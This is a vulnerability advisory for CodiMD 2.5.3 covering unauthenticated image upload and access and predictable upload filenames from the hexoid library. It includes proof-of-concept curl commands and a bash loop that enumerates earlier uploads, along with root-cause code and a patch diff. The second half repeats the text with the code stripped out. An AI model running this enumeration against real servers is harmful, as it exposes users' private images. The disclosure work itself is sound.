Summary
This advisory details a missing authentication and access control vulnerability allowing an unauthenticated attacker to gain unauthorised access to image data uploaded to CodiMD. This vulnerability affects the Filesystem upload backend. Both the develop branch from the git repository (commit d157fde) and the 2.5.3 release are affected.
CodiMD does not require valid authentication to access uploaded images or to upload new image data. An attacker who can determine an uploaded image's URL can gain unauthorised access to uploaded image data.
Due to the insecure random filename generation in the underlying Formidable library, an attacker can determine the filenames for previously uploaded images and the likelihood of this issue being exploited is increased.
This vulnerability was discovered through incidental application usage and further vulnerabilities may exist.
Note - this advisory will become public in 90 days, when a patch is issued, or if the advisory is rejected by CodiMD maintainers.
Missing Image Access Controls
No access control is applied to images uploaded to CodiMD, including images uploaded to private notes. This allows an attacker with access to the upload link, either by exploiting the condition described in the Insecurely Randomised File Names section of this advisory or by obtaining a link through other means, to gain unauthorised access to uploaded image data. Additionally, no authentication was required to upload image data, allowing an unauthenticated attacker to upload malicious images and perform other attacks, such as attempting to exhaust all available disk space and create a denial-of-service condition.
The following curl command shows an example of an image being accessed with no authentication.
curl -i http://127.0.0.1:3000/uploads/3fc337e10f6c4173c4acc3c00.png
HTTP/1.1 200 OK
X-Powered-By: Express
Referrer-Policy: same-origin
…omitted for brevity…
Warning: Binary output can mess up your terminal. Use "--output -" to tell
 
The following curl command shows an image being uploaded with no authentication.
curl -iF [email protected] http://127.0.0.1:3000/uploadimage
HTTP/1.1 200 OK
X-Powered-By: Express
…omitted for brevity…
{"link":"/uploads/0d8f485b3581aea8058a11c04.png"}
 
Insecurely Randomised Filenames
Filenames used for uploaded images are provided by the Formidable library, which uses the hexoid library to create random filenames. The hexoid library uses an insecure random number generator to create a prefix followed by an incrementing suffix. This allows an attacker to upload a file, determine the upload prefix, and obtain previously uploaded images. The prefix changes after 256 file uploads, or when the application server is restarted.
The following figures demonstrates the attack. First the attacker uploads an image file to obtain the server-side filename:
curl -F [email protected] http://127.0.0.1:3000/uploadimage
{"link":"/uploads/2d96f57625841b8f5c35e7b06.png"}
 
The suffix above is "06". The attacker then works backwards with known valid mime types (detailed in lib/config/index.js) to find previously uploaded files. The following script shows a proof-of-concept loop to try all mime types with known earlier filenames:
for i in {0..5};
        do for mime in jpeg png jpg gif svg bmp tiff; 
                do echo $i.$mime; 
                curl -sI 127.0.0.1:3000/uploads/2d96f57625841b8f5c35e7b0$i.$mime | head -1;
        done;
done
 
0.jpeg
HTTP/1.1 404 Not Found
0.png
HTTP/1.1 200 OK
0.jpg
HTTP/1.1 404 Not Found
0.gif
HTTP/1.1 404 Not Found
0.svg
HTTP/1.1 404 Not Found
0.bmp
HTTP/1.1 404 Not Found
0.tiff
HTTP/1.1 404 Not Found
1.jpeg
HTTP/1.1 404 Not Found
1.png
HTTP/1.1 200 OK
1.jpg
HTTP/1.1 404 Not Found
1.gif
HTTP/1.1 404 Not Found
1.svg
HTTP/1.1 404 Not Found
1.bmp
HTTP/1.1 404 Not Found
1.tiff
HTTP/1.1 404 Not Found
2.jpeg
HTTP/1.1 404 Not Found
2.png
HTTP/1.1 404 Not Found
2.jpg
HTTP/1.1 200 OK
…omitted for brevity…
 
The following figure shows the 2d96f57625841b8f5c35e7b02.jpg image discovered by the attacker:

Root Cause
The root cause of the insecure random filename issue is CodiMD's use of the Formidable library's generated filenames. The following code snippet from lib/imageRouter/filesystem.js shows the vulnerable code path:
 19 /**
 20  * pick a filename not exist in filesystem
 21  * maximum attempt 5 times
 22  */
 23 function pickFilename (defaultFilename) {
 24   let retryCounter = 5
 25   let filename = defaultFilename
 26   const extname = path.extname(defaultFilename)
 27   while (retryCounter-- > 0) {
 28     if (fs.existsSync(path.join(config.uploadsPath, filename))) {
 29       filename = `${randomFilename()}${extname}`
 30       continue
 31     }
 32     return filename
 33   }
 34   throw new Error('file exists.')
 35 }
 36 
 37 exports.uploadImage = function (imagePath, callback) {
 38   if (!imagePath || typeof imagePath !== 'string') {
 39     callback(new Error('Image path is missing or wrong'), null)
 40     return
 41   }
 42 
 43   if (!callback || typeof callback !== 'function') {
 44     logger.error('Callback has to be a function')
 45     return
 46   }
 47 
--> 48   let filename = path.basename(imagePath)
 49   try {
 50     filename = pickFilename(path.basename(imagePath))
 51   } catch (e) {
 52     return callback(e, null)
 53   }
 54 
 55   try {
--> 56     fs.copyFileSync(imagePath, path.join(config.uploadsPath, filename))
 57   } catch (e) {
 58     return callback(e, null)
 59   }
 60 
 61   let url
 62   try {
 63     url = (new URL(filename, config.serverURL + '/uploads/')).href
 64   } catch (e) {
 65     url = config.serverURL + '/uploads/' + filename
 66   }
 67 
 68   callback(null, url)
 69 }
 
The imagePath variable above is provided by the Formidable library, as shown in the following debugger output:

The filename is created by the Formidable library in PersistentFile.js:

The newFilename variable is assigned in Formidable.js as shown in the following code snippet:
 14           
 --> 15 const toHexoId = hexoid(25);
… omitted for brevity…
322     if (!this.options.filter(part)) {
323       return;
324     }
325 
326     this._flushing += 1;
327 
--> 328     const newFilename = this._getNewName(part);
329     const filepath = this._joinDirectoryName(newFilename);
330     const file = this._newFile({
331       newFilename,
332       filepath,
333       originalFilename: part.originalFilename,
334       mimetype: part.mimetype,
335     });
…omitted for brevity…
573       this._getNewName = (part) => {
--> 574         const name = toHexoId();
575 
576         if (part && this.options.keepExtensions) {
577           const originalFilename = typeof part === 'string' ? part : part.originalFilename;
578           return `${name}${this._getExtension(originalFilename)}`;
579         }
580 
581         return name;
582       }
583     }
 
The hexoid library used by Formidable uses the insecure Math.random()  function to generate the prefix and increments the suffix using single digits. The following snippet from hexoid/dist/index.js shows the vulnerable algorithm:
var IDX=256, HEX=[];
while (IDX--) HEX[IDX] = (IDX + 256).toString(16).substring(1);
module.exports = function (len) {
        len = len || 16;
        var str='', num=0;
        return function () {
                if (!str || num === 256) {
                        str=''; num=(1+len)/2 | 0;
                        while (num--) str += HEX[256 * Math.random() | 0];
                        str = str.substring(num=0, len-2);
                }
                return str + HEX[num++];
        };
}
 
Math.random() is a known vulnerable RNG, and an attacker may be able to determine the values of previous and subsequent hexoid prefixes. (https://codeql.github.com/codeql-query-help/javascript/js-insecure-randomness/)
Recommendations
Requiring valid authentication to access file upload functionality and uploaded image data (assuming guest access is not enabled) would increase the security posture of CodiMD and increase the difficulty for an attacker gaining access to uploaded image data.
The filesystem imageRouter already implements a secure random filename function based on crypto.randomBytes(). The following change forcing all uploaded files to use the CodiMD random filename logic would resolve the insecurely randomised filenames issue and reduce the likelihood of an attacker gaining unauthorised access:
diff --git a/lib/imageRouter/filesystem.js b/lib/imageRouter/filesystem.js
index 49a811ef..dcdaedc7 100644
--- a/lib/imageRouter/filesystem.js
+++ b/lib/imageRouter/filesystem.js
@@ -16,24 +16,6 @@ function randomFilename () {
   return `upload_${buf.toString('hex')}`
 }
 
-/**
- * pick a filename not exist in filesystem
- * maximum attempt 5 times
- */
-function pickFilename (defaultFilename) {
-  let retryCounter = 5
-  let filename = defaultFilename
-  const extname = path.extname(defaultFilename)
-  while (retryCounter-- > 0) {
-    if (fs.existsSync(path.join(config.uploadsPath, filename))) {
-      filename = `${randomFilename()}${extname}`
-      continue
-    }
-    return filename
-  }
-  throw new Error('file exists.')
-}
-
 exports.uploadImage = function (imagePath, callback) {
   if (!imagePath || typeof imagePath !== 'string') {
     callback(new Error('Image path is missing or wrong'), null)
@@ -47,7 +29,7 @@ exports.uploadImage = function (imagePath, callback) {
 
   let filename = path.basename(imagePath)
   try {
-    filename = pickFilename(path.basename(imagePath))
+    filename = randomFilename()
   } catch (e) {
     return callback(e, null)
   }
 
Knowledge of a specific URL (discretionary access control) should not be used as a replacement for robust authorisation and mandatory access controls. However, the patch detailed above would provide additional security benefits as an interim hardening measure to reduce the likelihood of an attacker discovering uploaded image URLs.
   
Summary
This advisory details a missing authentication and access control vulnerability allowing an unauthenticated attacker to gain unauthorised access to image data uploaded to CodiMD. This vulnerability affects the Filesystem upload backend. Both the develop branch from the git repository (commit d157fde) and the 2.5.3 release are affected.
CodiMD does not require valid authentication to access uploaded images or to upload new image data. An attacker who can determine an uploaded image's URL can gain unauthorised access to uploaded image data.
Due to the insecure random filename generation in the underlying Formidable library, an attacker can determine the filenames for previously uploaded images and the likelihood of this issue being exploited is increased.
This vulnerability was discovered through incidental application usage and further vulnerabilities may exist.
Note - this advisory will become public in 90 days, when a patch is issued, or if the advisory is rejected by CodiMD maintainers.
Missing Image Access Controls
No access control is applied to images uploaded to CodiMD, including images uploaded to private notes. This allows an attacker with access to the upload link, either by exploiting the condition described in the Insecurely Randomised File Names section of this advisory or by obtaining a link through other means, to gain unauthorised access to uploaded image data. Additionally, no authentication was required to upload image data, allowing an unauthenticated attacker to upload malicious images and perform other attacks, such as attempting to exhaust all available disk space and create a denial-of-service condition.
The following curl command shows an example of an image being accessed with no authentication.
The following curl command shows an image being uploaded with no authentication.
Insecurely Randomised Filenames
Filenames used for uploaded images are provided by the Formidable library, which uses the hexoid library to create random filenames. The hexoid library uses an insecure random number generator to create a prefix followed by an incrementing suffix. This allows an attacker to upload a file, determine the upload prefix, and obtain previously uploaded images. The prefix changes after 256 file uploads, or when the application server is restarted.
The following figures demonstrates the attack. First the attacker uploads an image file to obtain the server-side filename:
The suffix above is "06". The attacker then works backwards with known valid mime types (detailed in
lib/config/index.js) to find previously uploaded files. The following script shows a proof-of-concept loop to try all mime types with known earlier filenames:The following figure shows the
2d96f57625841b8f5c35e7b02.jpgimage discovered by the attacker:Root Cause
The root cause of the insecure random filename issue is CodiMD's use of the Formidable library's generated filenames. The following code snippet from
lib/imageRouter/filesystem.jsshows the vulnerable code path:The
imagePathvariable above is provided by the Formidable library, as shown in the following debugger output:The filename is created by the Formidable library in
PersistentFile.js:The
newFilenamevariable is assigned inFormidable.jsas shown in the following code snippet:The
hexoidlibrary used by Formidable uses the insecureMath.random()function to generate the prefix and increments the suffix using single digits. The following snippet fromhexoid/dist/index.jsshows the vulnerable algorithm:Math.random()is a known vulnerable RNG, and an attacker may be able to determine the values of previous and subsequenthexoidprefixes. (https://codeql.github.com/codeql-query-help/javascript/js-insecure-randomness/)Recommendations
Requiring valid authentication to access file upload functionality and uploaded image data (assuming guest access is not enabled) would increase the security posture of CodiMD and increase the difficulty for an attacker gaining access to uploaded image data.
The filesystem
imageRouteralready implements a secure random filename function based oncrypto.randomBytes(). The following change forcing all uploaded files to use the CodiMD random filename logic would resolve the insecurely randomised filenames issue and reduce the likelihood of an attacker gaining unauthorised access:Knowledge of a specific URL (discretionary access control) should not be used as a replacement for robust authorisation and mandatory access controls. However, the patch detailed above would provide additional security benefits as an interim hardening measure to reduce the likelihood of an attacker discovering uploaded image URLs.